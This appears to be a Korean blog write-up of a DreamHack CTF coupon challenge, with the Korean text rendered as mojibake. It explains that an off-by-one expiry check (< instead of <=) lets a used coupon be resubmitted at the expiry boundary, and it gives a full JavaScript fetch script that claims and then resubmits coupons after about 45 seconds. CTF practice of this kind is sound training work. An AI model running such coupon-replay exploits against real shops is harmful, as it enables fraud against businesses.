728x90
์ทจ์ฝ์
r.expire(used_coupon, timedelta(seconds=coupon['expiration'] - int(time())))
์ฐ์ ์ด๋ ๊ฒ ์ฌ์ฉํ ์ฟ ํฐ์ (์ฟ ํฐ๋ง๋ฃ์๊ฐ + ํ์ฌ์๊ฐ) ๋ค์ ์ ๊ฑฐํ๋ ๊ฒ์ด ์ข ์์ํ๊ณ
if coupon['expiration'] < int(time()):
raise BadRequest('Coupon expired!')
์กฐ๊ฑด์ด <=๊ฐ ์๋๋ผ <์ด๊ธฐ ๋๋ฌธ์ ์ ํํ ๋ง๋ฃ ๊ธฐ๊ฐ์ธ 45์ด์ 44์ด ์ฌ์ด์ ๋ค์ ์์ฒญ์ ํ๋ฉด ์ด ์กฐ๊ฑด๋ฌธ์ ํผํ ์ ์์ง ์์๊น ์๊ฐํ๋ค.
์๋ํ ์ฝ๋
var url = "http://host3.dreamhack.games:10476";
for(var i=0; i<10; i++){
await fetch(url+"/session", {
"headers": {
"accept": "*/*",
"accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
"proxy-connection": "keep-alive"
},
"referrer": url+"/",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": null,
"method": "GET",
"mode": "cors",
"credentials": "omit"
}).then(res => res.json()).then(res => {
var authorization = res.session;
fetch(url+"/coupon/claim", {
"headers": {
"accept": "*/*",
"accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
"authorization": authorization,
"proxy-connection": "keep-alive"
},
"referrer": url+"/",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": null,
"method": "GET",
"mode": "cors",
"credentials": "include"
}).then(res => res.json()).then(res => {
var coupon = res.coupon;
fetch(url+"/coupon/submit", {
"headers": {
"accept": "*/*",
"accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
"authorization": authorization,
"coupon": coupon,
"proxy-connection": "keep-alive"
},
"referrer": url+"/",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": null,
"method": "GET",
"mode": "cors",
"credentials": "include"
});
setTimeout(function() {
fetch(url+"/coupon/submit", {
"headers": {
"accept": "*/*",
"accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
"authorization": authorization,
"coupon": coupon,
"proxy-connection": "keep-alive"
},
"referrer": url+"/",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": null,
"method": "GET",
"mode": "cors",
"credentials": "include"
});
}, 44999);
});
});
}```
728x90
'๐ดCTF > DreamHack' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
DreamHack - [wargame.kr] strcmp ํ์ด (0) | 2023.09.11 |
---|---|
DreamHack - CSP Bypass Advanced ํ์ด (0) | 2023.09.10 |
DreamHack - funjs ํ์ด (0) | 2023.09.09 |
DreamHack - [wargame.kr] tmitter ํ์ด (0) | 2023.09.09 |
DreamHack - [wargame.kr] crack crack crack it ํ์ด (0) | 2023.09.09 |